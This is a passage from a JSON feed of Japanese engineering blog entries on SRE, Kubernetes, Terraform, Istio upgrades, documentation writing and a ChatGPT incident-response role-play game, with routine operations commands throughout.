Jobsに移行した話","contentSnippet":"はじめにDBマイグレーションをステージングや本番環境に適用すること、またCI/CDに組み込んで自動化するのはバックエンド／サーバーサイド開発で必ずといっていいほど通る道です。開発体制やフェーズ、…","link":"https://qiita.com/bayobayo0324/items/352d8bbb1bd7bcce8844","isoDate":"2023-03-27T00:23:32.000Z","dateMiliSeconds":1679876612000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"jq commandの select でハマった話","contentSnippet":"結論配列のjsonに対してselectする際には、配列を一度オブジェクトの抽出をしないと複製されてしまう。なので、以下ではなくjq -r \'select(.[].A | contains(\\"特定文字列\\")) | .[].B\' test.jsonこうしないといけないjq -r \'.[] | select(.A | contains(\\"特定文字列\\")) | .B\' test.json 環境$ jq --version jq-1.6 詰まった内容以下のjson(test.json)があったときにtest.json[ { \\"hog...","link":"https://zenn.dev/satohjohn/articles/79faafa55e9a1e","isoDate":"2023-03-25T16:36:44.000Z","dateMiliSeconds":1679762204000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ふと、思いだしたときに確認するって大事ですね、という話","contentSnippet":"本日、こんなお知らせが流れてきた。We updated our RSA SSH host key「そういえば、プライベートのPCでRSA使ってた…」と思い出したので、確認。$ ssh -T git@github.com@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT I...","link":"https://zenn.dev/nedoko_dok0dko/articles/174811e1685df2","isoDate":"2023-03-24T13:27:59.000Z","dateMiliSeconds":1679664479000,"authorName":"seno","authorId":"seno"},{"title":"Kubernetes と名前解決","contentSnippet":"tl;dr外部サービスのホスト名の末尾に . (ドット) を必ず指定しましょう。✅\xa0google.com.❌\xa0google.com末尾にドットを指定できない (e.g. SDK 組み込み) かつ大量の名前解決が発生している場合は、Pod の DNS Config の options で ndots: 1 を指定しましょう。Kubernetes の名前解決の仕組みを理解していないと、各ノードの conntrack テーブルが溢れてパケットが破棄され、サービスに影響が出ることがあります。 背景アプリケーションが外部のサービスを呼び出す場合、ホスト名を IP アド...","link":"https://zenn.dev/toversus/articles/d9faba80f68ea2","isoDate":"2023-03-22T07:36:38.000Z","dateMiliSeconds":1679470598000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"cloud runの要らなくなったリビジョンを消す","contentSnippet":"小ネタです。運用をしていて、たくさんリリースしているとリビジョンが増えていることとかもあるかなと思いますが、コンソール上から消すのも面倒なので、コマンドで消しましょう。というか、解説することもないので、結論と詰まった部分だけ残しておきます。 結論 ACTIVEじゃないものをすべて消す#!/bin/bashSERVICE_NAME=$1revisions=$( gcloud run revisions list --service=$SERVICE_NAME \\\\ --filter=\\"status.conditions.type:Active AND s...","link":"https://zenn.dev/satohjohn/articles/2a769b8280427d","isoDate":"2023-03-21T02:35:43.000Z","dateMiliSeconds":1679366143000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Datadog Agent からの Metrics を Victoria Metrics で受ける","contentSnippet":"Victoria Metrics は v1.67.0 で Datadog Agent からのメトリクスを受け取れるようになっているので今回はこれを試してみる。 Victoria Metrics のドキュメント How to send data from DataDog agent Single node Instance をセットアップ # Victoria Metrics はクラスタリング","link":"https://blog.1q77.com/2023/03/send-datadog-metrics-to-victoriametrics/","isoDate":"2023-03-19T12:38:04.000Z","dateMiliSeconds":1679229484000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"ChatGPTで障害対応 RPG v0.0.1を遊ぶには？","contentSnippet":"こちらを参考にしました。note.com目次ゲームプロンプトプレイヤーモチベーションゲーム紹介架空のシステムを作る障害発生障害対応は進むよ どこまでも分からない時は素直に同僚に頼る最後は力技で対応完了最後にゲームプロンプト大きな声では言えないですけど皆さん実は障害のこと好きですよね？https://www.irasutoya.com/2016/08/it.html より引用というわけで以下をChatGPTに貼れば、今日から無料で障害対応ができます（あるいはおそらく本番の障害対応は有料なことが多いので）。ちなみにGPT-4を利用しております。あなたはシステム障害体験のゲームマスター専用チャットボットです。チャットを通じて、ユーザーに楽しい本格システム障害RPG体験を提供します。制約条件* チャットボットはゲームマスター（以下GM）です。* 人間のユーザーは、プレイヤーをロールプレイします。* GMは、ゲーム内に登場するNPCのロールプレイも担当します。* 各NPCはそれぞれの利害や目的を持ち、ユーザーに協力的とは限りません。* GMは、ユーザーの行動に難易度を示し、アクションを実行する場合には、2D6ダイスロールによる目標判定を行なってください。* GMは、ユーザーが楽しめるよう、適度な難関を提供してください（不条理なものは禁止です）。* GMは、ユーザーが無理な展開を要求した場合、その行為を拒否したり、失敗させることができます。* GMは内部パラメーターとして「盛り上がり度」を持ちます。GMはゲーム展開が退屈だと判断した場合、盛り上がる展開を起こしてください。* ゲームのスタート地点は、「障害発生」です。* ゲームの障害内容は「自動設定」です。* 担当しているシステムは指定がなければOSはLinux ベースで動作させてください。* 担当しているシステムにデーターベースを利用してください。* ユーザー名は指定がなければuser01で動作させてください。* GMはスタート地点の前に担当するシステムの詳細をプレイヤーに共有して下さい。* ゲームのゴールはシステムの障害は原因解決と復旧です。* GMはシステムでコマンドを実行した場合には必ず実行した実行したコマンドと結果を記載してください。* GMは何かを確認及び判断した際には可能な限り詳細に記載して下さい。* GMはスタート後の最初のアクションを監視ダッシュボードの確認を推奨して下さい。* 障害により、システムが復旧不可能になったら、ゲームオーバーです。まずはじめに、ユーザーと一緒に担当システムの設定を行いましょう。ユーザー名、サービス名、システムの特徴、利用しているソフトウェア、利用しているプログラミング言語、利用しているクラウドプロバイダーと利用しているサービス をユーザーに聞いてください。プレイヤーモチベーションソフトウェア開発・運用のエンジニアにとって、システム障害への対応は避けて通れない課題の一つです。たとえテストや監視を強化し、単一障害点を排除し、自動復旧機能を実装しても、予期しない障害は突如発生します。多くの場合、想定外の障害に対処するのは困難です。一般的には経験豊富なエンジニアが対応します。このような状況が続くと、次のような問題が発生することがあります。経験豊富なエンジニアへの負担が集中する特定のエンジニアが不在の場合、対処が難しくなるこれらの問題が原因で、復旧が遅れたり、サービスの信頼性が損なわれる可能性がある想定外の障害に対処することは避けられませんが、上記の問題には対策が可能です。負担の偏りを軽減し、特定のエンジニアが不在でもチーム全体で安定的に対応できる体制を構築するために、今回はゲームを活用したいと考えています。このゲームを通じて、チームメンバーがシステム障害に対するスキルを向上させ、効果的な対応ができるようになることを目指します。SREの探求 ―様々な企業におけるサイトリライアビリティエンジニアリングの導入と実践オライリージャパンAmazon障害対応を学ぶのにRPG？ と思ったあなたへ、SREの探求の20章「アクティブなティーチングとラーニング」では、インシデント管理を効果的に学ぶ方法として、ゲームを通じたアクティブラーニングが紹介されています。\\"Wheel of Misfortune\\"というゲームを例に、現実のインシデントに基づくシナリオを用意し、参加者がリスク管理や問題解決スキルを身につけられる環境を提供することで、プレッシャーを軽減しながら学びの効果を高め、フィードバックや経験の共有を通じて実践的なスキルも向上させることができると説明されています。つまり、インシデント対応の能力はゲームで身につきます。 (確信)。ゲーム紹介GPT-4 にゲームの紹介文を作ってもらいました。本当は室見立華さんモードとか作りたかったです。なれる！SE ２週間でわかる？ＳＥ入門 (電撃文庫)作者:夏海 公司,IxyKADOKAWAAmazonタイトル：システム障害体験RPG - テクニカルトラブルを楽しみながら解決しよう！システム障害体験RPGは、あなたがシステムエンジニアとなり、様々なシステム障害に対処しながらサービスを復旧させる目的で遊べるオンラインチャットボットゲームです。このゲームでは、現実のシステム管理や開発の知識が役立ちますが、初心者でも楽しむことができます。ゲームの開始時には、プレイヤー名、サービス名、サービスの特徴、プログラミング言語を設定し、独自のシナリオを作成します。そして、ゲームマスタ（GM）チャットボットが、シナリオに基づいたシステム障害を発生させ、プレイヤーは問題解決のためのアクションを実行していきます。プレイヤーは、コマンドを入力したり、問題解決に関する質問をしたりすることで、ゲームを進行させます。GMは、プレイヤーが取るべきアクションに適切なフィードバックを提供し、必要に応じて2D6ダイスロールによる目標判定を行います。システム障害体験RPGは、プレイヤーが楽しめるよう、適度な難関を提供しますが、不条理な展開は避けられます。また、ゲーム展開が退屈だと判断された場合、GMは盛り上がる展開を起こしてゲームをさらに面白くします。システム障害体験RPGをプレイすることで、システム管理や開発の知識を身につけるだけでなく、チームワークや問題解決のスキルも向上させることができます。ぜひ、友人や同僚と一緒に、このユニークで楽しいゲームを体験してください！それではテストプレイをしていきます。架空のシステムを作るシステムのメイキング機能。自分でも作れるし、自動にも作ってくれます。よく障害が発生する箇所や癖のある開発者の存在を入力すると色々と面白い展開があるかもしれません。今回は「サービス名『どこにでもある掲示板』でGo言語を利用した一般的な掲示板です。それ以外はそちらで作成して下さい。」と入力しました障害発生障害が発生しました。システムの復旧のために次々とアクションを取る必要があります。障害対応は進むよ どこまでもどんどん、アクションを繰り返して原因を探していきます。分からない時は素直に同僚に頼る分からない時は素直にエスカレーションしましょう。現実でも同じです。最後は力技で対応完了PMが判断してくれ... と思いつつも実装にも特に問題なく単純にサービスが人気が出てアクセスができないなら素直にスケールアップしてしまう判断です。無能っぷりを存分に晒していきましたが無事にゲーム終了しました。システムの平和はこれで守られました。最後にゲームのスクリプトを編集して恒久対応まで設定するモードや実装を実際に変更をするモードなど様々なモードで遊ぶことが皆様ならできると思います(いろんなゲームで遊びたい)。GPT-3.5 だとスピード感はあるがシステム設定や障害のシナリオを詳細には出ないのであまりゲームとして楽しくない。オススメの設定などがあればSystemFailureRPG というリポジトリを作成したのでPRをお待ちしております(迫真)。github.comシステム障害は起きないにこしたことはありませんが、発生をゼロにすることはできません。障害が起こった時の為にあなたは何ができますか？ ゲームでそれを体験してみませんか？もしくはSREのプロフェッショナルパートナーを雇いませんか？システム障害対応の教科書作者:木村 誠明技術評論社Amazon","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/18/000637","isoDate":"2023-03-17T15:06:37.000Z","dateMiliSeconds":1679065597000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[Terraform] aws_networkfirewall_firewall リソースから VPC エンドポイント ID を取り出す","contentSnippet":"はじめにTerraform を使って AWS Network Firewall のファイアウォールを作るとき，生成された VPC エンドポイントの ID をサブネットのルートテーブルのルートに追加するのは自然な流れですが，VPC エンドポイント ID を取り出すのが大変だったので，やり方を記録しておきます。例えば以下のように aws_networkfirewall_firewall リソースを定義したとします。（特に説明のない変数やリソースは，なんとなくの理解で構いません。）resource \\"aws_networkfirewall_firewall\\" \\"firewall\\" ...","link":"https://zenn.dev/toshikish/articles/fc08c2021811f9","isoDate":"2023-03-16T07:58:23.000Z","dateMiliSeconds":1678953503000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Kubernetes の運用効率化を ChatGPT で実現する 障害対応編","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 本記事では、Kuberne […]The post Kubernetes の運用効率化を ChatGPT で実現する 障害対応編 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-operation-with-chatgpt/","isoDate":"2023-03-16T01:32:14.000Z","dateMiliSeconds":1678930334000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Terraform でDocker Provider を使いましょう","contentSnippet":"概要酒を飲んでるので何でも良いのですがTerraform でDocker Provider を使いたくなったのでローカルでDockerコンテナのインフラ環境を構築してみます。あと、特に学びも書く予定がないのでここで「TerraformにDocker Provider があるんだ」という感想を持って読み終わって良いです。僕は別に移行してないです。github.com開発環境情報$ terraform versionTerraform v1.4.0Terraform 1.4 が GA になったのでついでに入れておきました。www.hashicorp.com同僚がブログ書いていたので紹介しておきます。zenn.devデプロイするファイルtutorial.tf というファイルをおきます。{ required_providers { docker = { source = \\"kreuzwerker/docker\\" version = \\"3.0.1\\" } }}provider \\"docker\\" { host = \\"unix:///var/run/docker.sock\\"}# Pulls the imageresource \\"docker_image\\" \\"nginx\\" { name = \\"nginx:latest\\"}# Create a containerresource \\"docker_container\\" \\"foo\\" { image = docker_image.nginx.latest name = \\"foo\\" ports { internal = 80 external = 8080 }}このコードでは、Docker Providerバージョン3.0.1を使用しています。プロバイダとしてDockerを指定し、Dockerホストのソケットへのパスを指定しています。docker_imageリソースで、最新のnginxイメージをプルします。そして、docker_containerリソースで、docker_image.nginx.latestをベースに新しいコンテナを作成します。80番ポートを内部ポートとしてマッピングし、8080番ポートを外部ポートとしてマッピングしています。# Terraform初期化terraform init# プランの確認terraform plan# 実行terraform applydocker_containerリソースで作成したコンテナが起動しているはずです。docker psコマンドを使用して、コンテナが実行されているかどうかを確認できます。眠くなったのでもう寝ます。","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/15/075345","isoDate":"2023-03-14T22:53:45.000Z","dateMiliSeconds":1678834425000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"良いドキュメントを書きたくなる本を読んだらドキュメンタリアンになりたくなった","contentSnippet":"ドキュメンタリアンとは、役職に関係なく、ソフトウェア業界でドキュメントとコミュニケーションに関心を持つ人のことです。www.writethedocs.orgはじめにこれは主に『ユーザーの問題解決とプロダクトの成功を導く エンジニアのためのドキュメントライティング』の書評です。私はSreakeにてSREという役職についています。SREはサービス概要、アーキテクチャの解説や図、各種構成図、各種手順書、ポストモーテム、ポリシー、SLA(SLO) … その他の様々な場面でドキュメントを書く必要があります。しかし、ドキュメントは価値が見えにくく時間と労力がかかり品質担保の面で重要度がとても高いのにその場での価値が見えにくいので浸透しにくいです。そのため、エンジニアとしてモチベーションが保ちづらいです。2021年 State of DevOps 2021 にもドキュメントに関する言及があり今後、DevOps やSREの領域でドキュメントの重要性が高まるのは言わずもがなです。書籍情報『ユーザーの問題解決とプロダクトの成功を導く　エンジニアのためのドキュメントライティング』ジャレッド・バーティ (著), ザッカリー・サラ・コーライセン (著), ジェン・ランボーン (著), デービッド・ヌーニェス (著), ハイディ・ウォーターハウス (著), 岩瀬義昌 (翻訳)ユーザーの問題解決とプロダクトの成功を導く　エンジニアのためのドキュメントライティング作者:ジャレッド・バーティ,ザッカリー・サラ・コーライセン,ジェン・ランボーン,デービッド・ヌーニェス,ハイディ・ウォーターハウス日本能率協会マネジメントセンターAmazon本書は『Docs for Developers』の翻訳本でもあります。docsfordevelopers.com日本能率協会マネジメントセンターのサイトから引用した本書の概要です。「ドキュメントを書いておけばよかった」開発者であれば一度は思ったことがあるかもしれません。ドキュメントは開発側の生産性とユーザーの利便性を高めるものです。さらに言うと、ドキュメントがなければ、ユーザーに使われる機会が確実に減ります。開発者がいかにすばらしいプロダクトを作ろうが、ドキュメントの欠如がその価値を奪うのです。本書は経験に長けた執筆者たちがドキュメントを作成する方法をゼロから説明するフィールドガイドです。架空のソフトウェア開発チームのストーリーを追いながら、ソフトウェア開発ライフサイクルの各ステップにおいて、ユーザーニーズの理解、開発者に役立つドキュメントの作成、公開、測定、保守に至るまで、開発を最適化するためのドキュメント作成の技術を解説しています。これまで学ぶ機会のなかったREADME、APIリファレンス、チュートリアル、コンセプトドキュメント、リリースノートなど、さまざまな種類のドキュメントの書き方について学ぶことができる一冊です。ドキュメントを作成している現場のエンジニアやテクニカルライター、プロダクトマネジャーの方に最適の内容です。翻訳の方と著者の方のPodCast も公開されているのでこちらもオススメです。fukabori.fmイベントもやられてました。エンジニアのためのドキュメントライティング - Forkwell Library #19forkwell.connpass.com「ユーザーの問題解決とプロダクトの成功を導く エンジニアのためのドキュメントライティング」の目次PARTごとに別れていて「PART I　ドキュメント作成の準備」→「PARTⅡ　ドキュメントの作成」→「PARTⅢ　ドキュメントの公開と運用」に分かれている。それぞれのフェーズで必要な知識や心構えが書いてある。各章とも端的にまとまっているのでオススメです。また、書籍を読んだ後に各種公式ドキュメントを読み込んでよくできているなぁって思うのは体験としてはよいのでオススメです。PART I　ドキュメント作成の準備CHAPTER 1　読み手の理解CHAPTER 2　ドキュメントの計画PARTⅡ　ドキュメントの作成CHAPTER 3　ドキュメントのドラフトCHAPTER 4　ドキュメントの編集CHAPTER 5　サンプルコードの組み込みCHAPTER 6　ビジュアルコンテンツの追加PARTⅢ　ドキュメントの公開と運用CHAPTER 7　ドキュメントの公開CHAPTER 8　フィードバックの収集と組み込みCHAPTER 9　ドキュメントの品質測定CHAPTER 10　ドキュメントの構成CHAPTER 11　ドキュメントの保守と非推奨化目的があるドキュメントを書こうと思わせてくれる本『コードを読めば分かるから、ドキュメントは今は書かなくていいかな？』って言った人はその後もほとんど、ドキュメントを書かない。ちなみにこういう人はコメントもあまり書いてくれない。エンジニアが新たにシステムを理解したいときはいくつかの場面がある。「エンジニアが新たにシステム開発/運用に参加したとき」「エンジニアが自分の担当以外の構成要素や機能を理解したい時」、その他、様々な場面etc…。システムで利用している技術スタックに十分な知見があったとしても、意外に開発を開始までには手間と時間がかかる。新しく参画したエンジニアが動いているソースコード以外に何もない状態ではシステムへの理解をする時に本当に苦戦する。場合によっては挫けてしまう。ドキュメントがあったとしてもポエムやコラムみたいにお気持ちがたくさん書かれていてもシステムの理解の助けにならなければ価値が薄い。だから、エンジニアは優れたドキュメントを継続的に存在させ続ける必要がある。ドキュメントはテストと同じくソフトウェアエンジニアリングという領域の基礎をなすものだと確信していますが良いドキュメントを書くことを意識することはよくドキュメントを読む時に書いている人の気持ちを考えたりなどいい習慣が身につきより価値のあるドキュメントが書けると思います。よいドキュメントとはどのようなものかPARTⅢ ドキュメントの公開と運用では良いドキュメントについて以下のような定義をSREの探求の19章 ドキュメント作成業務の改善：エンジニアリングワークフローへのドキュメントの統合 から引用している。『良いドキュメントとはドキュメントの品質が高いこと、ドキュメントが目的にかなっていること』もう少し品質について分類すると構造品質と機能品質にわけられる。構造品質と機能品質にはそれぞれ多くの要素が含まれますが今回は割愛します。CHAPTER 10　ドキュメントの構成 にはアクセスしやすいようにドキュメント全体をどうデザインするかについて書いてあり社内でも今後取り組んでいきたい部分が記載されていました。社内のドキュメントを整備する時に情報アーキテクチャ ―見つけやすく理解しやすい情報設計を読んでこれもとても参考になったのでオススメです。また、CHAPTER 11　ドキュメントの保守と非推奨化にはドキュメントを容赦なく刈り込む重要性について記載されています。ここがブログなどとは大きく違う点だと思う。そのドキュメントの機能構造が発揮できなくなったら削除したり非推奨にするのが大事です。陳腐化された、ドキュメントは削除する削除できない場合はアーカイブしたり、ステータスとして「廃止予定(Deprecated)」を付与することは本当に大切です。機能品質ドキュメントの内容がその目的を達成するかどうかを評価します。これには、情報の正確さ、完全性、信頼性、時宜性、明瞭性、関連性が含まれます。機能品質が高いドキュメントは、読者に有用な情報を提供し、目的に沿った結果を生み出すことができます。障害対応手順書を例に上げると全てのアラートに対して手順が用意されているか誰でも作業ができるか(1次受けができるか)定期的なアップデートがされているのか必要な人が必要なときにすぐアクセスできるかなどなどドキュメントがあることによってビジネスバリューが発揮できているか。これは読む人それぞれでとても変わりやすいと思うし評価もしずらいです。機能品質の評価の施策についても本書もしくはSREの探求19章には記載されているのでぜひ読んで下さい。構造品質ドキュメントがうまく書かれているか、うまく構成されているか？ドキュメントの形式、構成、レイアウト、デザイン、文法、綴りなどの側面を評価します。これらの要素が適切に整理され、適切に機能すると、読者は情報を簡単に理解し、必要な情報を効率的に見つけることができます。評価しやすい品質textlintかけて通過しているとか構成テンプレートに沿っているとか大切なのは総合品質だが機能品質を優先せよ総合品質 = 機能品質+構造品質結局は「推測するな、計測せよ」なので本書を読んで計測方法について学んでくれ構造品質は評価しやすい一方、評価指標をこれだけにしてしまうと本質を見失ってしまう当然どちらも高いことが望ましいが、機能品質は常に構造品質よりも重視されるようにする。総合品質を守りたいんじゃぁああああPART I ドキュメント作成の準備にしてもPARTⅡ　ドキュメントの作成にしても結局は総合品質の高いドキュメントを素早く作成して、特定の期間中に品質を保ち、必要に応じて廃棄していくための取り組みなのかと思いました。どのような人が読むのか想定して、ドキュメントの目的を決めてドキュメントを書く。ドキュメントを書く時に白紙からスタートするのは非常に辛いので目的が達成されやすいテンプレートを用意する。自動生成を用いる、理解を促すために図解を利用する。様々な施策を行うことで良いドキュメントを書くことに取り組む学びが多い本書です。良い技術ドキュメントの書き方がわかると良いドキュメントが書きたくなるものですよね。みんなにドキュメントを書いてほしいのでとにかく、読んでほしいとおもいました。ドキュメントに関する入門書は他の分野ではあるがソフトウェアを運用/開発するための技術ドキュメントの為に読むべき本って無いよね、という話になりがちだけど、本書はまさにそんな人たちが読みたい1冊だと思います。知識の呪いもしくは祝福人間は他人が自分と同じ知識をもっていると思い込んでしまいます。登壇資料などでも同じですがそれらを作った直後に読み返してみても全てが既知すぎて本当にこのドキュメントや資料には価値があるのか？ と自分に問い直すことがあります。その時に読み手を意識して読み手をどう結論やゴールに導きたいか事前に考えておくことは非常に助けになります。世界で一番やさしい 資料作りの教科書という書籍があってエンジニアだけに向けた書籍ではないのですが読み手の設定と目的と価値のあるドキュメントやコミュニケーションをどのように作っていくか本当にわかりやすくまとまっているのでオススメです。あなたが悩んだことはいずれ誰かも悩むことになります。特にブログは技術ドキュメントとは性質が違うものなので気にせず書いていきましょう。自動化について話したいドキュメントの中でも機械的に作業が自動化できる場合があります。相対的にトイルっぽくなる作業になるので自動化できるものに関してはCIなどで自動化せずとも存在を知ってたりとか自動化できる事実を知っていれば今後の糧にしてほしいです。個人的にはテンプレートの作成を先にやった方が効果があると思います。あくまで個人的には。issue templatesを用意しましょう。terraform-docsTerraform module を利用する際にパラメーターやアウトプットなどの機械的な情報の説明を書くのは非常に手間です。それらの機械的な情報をまとめてくれるのがterraform-docs になります。https://github.com/k1LoW/tblsDBの必要な情報をCIフレンドリーに出してくれる最高のツールなので案件でDBを使っていれば積極的に採用していきたいと思ってます。データベースのドキュメント作成を現場の開発エンジニアもやりたくない人が多いはずprotoc-gen-docProtocol Buffers 用のドキュメント生成用のプラグインhtmltesthtmltestを使えば生成されたHTML内のリンク切れを発見できます。textlinttextlintとはLintと呼ばれる静的解析ツールで、テキストファイルやMarkdownファイル等を対象に、校正ルールにもとづいて文章校正を行うツールです。様々な個人や組織やオレオレルールを公開しているので自分にあうもの自分の組織に合うものを見つけて行くのも良いと思う。ChromeやVScode などにも組み込める。よりよい文書を書くための校正ツール「textlint」のSmartHR用ルールプリセットを公開しました！ ｜SmartHRオープン社内報https://shanaiho.smarthr.co.jp/n/n881866630edaPrettier ソースコードの整形ツール。Node.js上で動作するので、ユーザーの環境に依存せずに、コードのフォーマットを開発者間で統一することのできるツールです。同僚の長谷川 氏にオススメされた。あとがき2023年3月15日では、GPT-4 が登場し、さまざまな意見が飛び交っています。私自身も仕事でChatGPTを利用しているため、その特徴はぼちぼち理解しています。ChatGPTが得意なのは、過去のデータを基に『ドキュメントの作成』をすることです。『ドキュメント作成の準備』と『ドキュメントの公開と運用』は依然として人間が担当していくと思います。GPT-4などの技術を適切に活用しつつ、ドキュメンテーションにおける人間の価値を維持するためには、バランスの取れた使用、クリティカルシンキングの維持、継続的な学習、コミュニケーションスキルの重視、チームワークと協力、そして創造性とイノベーションを大切にすることが重要です。何より重要なのは自分の頭でちゃんと考えることです。ChatGPTを利用したドキュメント化生成ツールが出てくるとは思うのでその時には『ドキュメント作成の準備』と『ドキュメントの公開と運用』がより大事になってくると思いました。遅考術――じっくりトコトン考え抜くための「１０のレッスン」作者:植原 亮ダイヤモンド社Amazon参考文献ユーザーの問題解決とプロダクトの成功を導く　エンジニアのためのドキュメントライティングSREの探求 19章 ドキュメント作成業務の改善：エンジニアリングワークフローへのドキュメンテーションの統合目的に沿ったDocumentation as Codeをいかにして実現していくか / PHPerKaigi 2021","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/14/130502","isoDate":"2023-03-14T04:05:02.000Z","dateMiliSeconds":1678766702000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"振り返り (2020 - 2022)","contentSnippet":"コロプラに 2020/3/1 に入社して、2023/2/28 付けで退職したので、丸々 3 年間勤務したことになります。本当の意味での大規模 Kubernetes 環境で貴重な経験をさせて貰い感謝しかないです。記憶が新しい内に、この 3 年間でやってきたことを公開できる範囲で整理しました。 GitOps 風なマニフェスト管理への移行インフラチームで管理している監視ツールやアドオンなコンポーネントを Helm でインストールしていました。マルチクラスタな環境で手動インストールはスケールしないので、Helmfile で生成した各クラスタのマニフェストを Argo CD で同期する方式に...","link":"https://zenn.dev/toversus/articles/8557a7fb2bc15c","isoDate":"2023-03-05T14:17:49.000Z","dateMiliSeconds":1678025869000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Devbox を使った開発環境","contentSnippet":"ローカル環境を汚さずDockerコンテナのオーバーヘッドもなく、開発環境を自在に構築できる「Devbox 0.2.0」登場 － Publickey この記事を最初に見たときは「えーそん","link":"https://blog.1q77.com/2023/03/devbox/","isoDate":"2023-03-04T15:05:12.000Z","dateMiliSeconds":1677942312000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"『2023年もSRE再考と叫びなさい!!』というタイトルで登壇しました","contentSnippet":"概要エンジニア文化祭 2023というイベントに『2023年もSRE再考と叫びなさい‼️ - SREの跡を求めず SREの求めたるところを求めよ』というタイトルで登壇しました。2023年にSREについて再び考えたりしたいなーって思いながらこのタイトルにしました。途中でこのイベントにはSREの方だけではなく開発者やその他の方もたくさん聞いてるイベントじゃーんって思い直してガッツリ資料を作り直しましたので見守ってください。サイトリライアビリティワークブック ―SREの実践方法オライリー・ジャパンAmazon資料登壇資料になります。 speakerdeck.comあとがき30分発表なのに資料が50ページ程度で、技術発表にしても高速早口オタクすぎたとおもいます。DevOpsの背景を歴史から紐解いていたりしてたらこうなりましたが後悔はしてないです。本発表に関しては2023年 SRE再考と称しておきながら最後の3つ『信頼性が確保できるとプラットフォームにしたくなる』、『信頼性が確保できると変更速度を両立したくなる』、『信頼性が確保できると未知のものを見つけたくなる』への掘り下げが少なかったと思います。それが主にガッツリ資料を作り直した部分になります。この資料はもう少し喋りたいと思うので加筆、修正して60分ぐらいで喋らせてくれるイベントがあればTwitter でDM下さい。じゃあ、あとがきに書けばよくね？参考文献SRE サイトリライアビリティエンジニアリングが”ザックリ”「すっきり」分かる本: Googleが実践している新DevOps方法論SRE サイトリライアビリティエンジニアリングサイトリライアビリティワークブックWhat\'s the Difference Between DevOps and SRE?Solving Reliability Fears with Site Reliability EngineeringThe History of DevOps ReportsEffective DevOps非ITの事業会社にSREと言わずにSREを持ち込んだReliability When Everything Is a Platform: Why You Need to SRE Your Customersネットワーク・エフェクト 事業とプロダクトに欠かせない強力で重要なフレームワークLeanとDevOpsの科学[Accelerate] テクノロジーの戦略的活用が組織変革を加速する継続的デリバリーのソフトウェア工学:もっと早く、もっと良いソフトウェアを作るための秘訣オブザーバビリティ・エンジニアリングWebエンジニアのための監視システム実装ガイド反脆弱性[上]――不確実な世界を生き延びる唯一の考え方反脆弱性[下]――不確実な世界を生き延びる唯一の考え方2022年版 OpenTelemetryを知れば世界が平和に","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/03/105049","isoDate":"2023-03-03T01:50:49.000Z","dateMiliSeconds":1677808249000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Snowflakeでのコスト管理","contentSnippet":"Snowflakeを最近触ってみることがあったので、コスト周りについて個人的に調べたログ参考ドキュメント↓Snowflakeでのコスト管理 | Snowflake Documentation お品書きSnowflakeのコストについてSnowflakeのコスト調査Snowflakeのコスト制御 SnowflakeのコストについてSnowflakeでのコストは次の3つの領域に分類される。コンピューティング: ユーザー管理(仮想ウェアハウス)、Snowflake管理(Snowpipeなどのサーバーレス機能)、およびクラウドサービスストレージ: データステージング...","link":"https://zenn.dev/nedoko_dok0dko/articles/ffe6450c4cd851","isoDate":"2023-02-28T10:45:26.000Z","dateMiliSeconds":1677581126000,"authorName":"seno","authorId":"seno"},{"title":"【Istio⛵️】Istioを安全にアップグレードするカナリア方式とその仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Istioのアップグレード手法の種類について安全なカナリア方式の仕組みについてこの記事から得られる知識01. はじめに02. なぜ安全なアップグレードが必要なのか起こりうる問題採用するべきアップグレード手法03. アップグレード手法を説明する前にカナリアリリースとはカナリアリリースの手順(1) 新環境のリリース(2) 新環境への重み付けルーティング(3) 実地的テストの実施(4) 重み付けの段階的変更『カナリアリリース』の呼称の由来04. アップグレード手法の概要(1) アップグレード前の検証(2) 新Istiodのインストール(3) Webhookの宛先のServiceの変更(4) IngressGatewayをインプレースアップグレード(5) 一部のNamespaceのistio-proxyコンテナをアップグレード(6) ユーザの手を借りたテスト(7) istio-proxyコンテナの段階的なアップグレード(8) 旧Istiodのアンインストール05. アップグレード手法の詳細istioctl コマンドを使用したアップグレード前提NamespaceIstiodIngressGatewayマイクロサービス(1) アップグレード前の検証ここで実施することistioctl x precheckコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration(2) 新Istiodのインストールここで実施することistioctl versionコマンドistioctl installコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration(3) Webhookの宛先のServiceの変更ここで実施することistioctl tag setコマンド(4) IngressGatewayをインプレースアップグレードここで実施することkubectl rollout restartコマンド(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施することkubectl rollout restartコマンド(6) ユーザの手を借りたテストここで実施することもし問題が起こった場合(7) istio-proxyコンテナの段階的なアップグレードここで実施することkubectl rollout restartコマンド(8) 旧Istiodのアンインストールここで実施することistioctl uninstallコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration06. おわりに01. 